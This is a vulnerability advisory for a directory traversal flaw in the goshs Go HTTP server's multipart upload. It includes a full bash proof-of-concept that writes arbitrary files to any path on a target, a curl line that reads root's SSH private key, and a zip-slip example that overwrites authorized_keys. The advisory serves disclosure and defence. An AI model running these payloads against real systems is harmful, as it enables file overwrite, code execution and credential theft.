Directory Traversal Affecting github.com/patrickhener/goshs/httpserver package, versions <2.0.0-beta.3

Affected versions of this package are vulnerable to Directory Traversal in the POST multipart upload process. An attacker can write arbitrary files to any existing directory on the filesystem by crafting a specially constructed URL path containing directory traversal sequences and controlling the uploaded filename via the multipart form data.

Note:

This is only exploitable if the server is running with the default configuration and no authentication or special flags are required.

#!/usr/bin/env bash
#
# Example:
#   ./arbitrary_overwrite2.sh 10.0.0.5 8080

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# Split target into directory and filename.
# The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename>
# So we put the target's dirname in the URL and the target's basename as the upload filename.
TARGET_DIR=$(dirname "$TARGET")
TARGET_NAME=$(basename "$TARGET")

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / and build path ending with /upload
TARGET_REL="${TARGET_DIR#/}"
POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] POST:    ${POST_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X POST \
    -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \
    "http://${HOST}:${PORT}${POST_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

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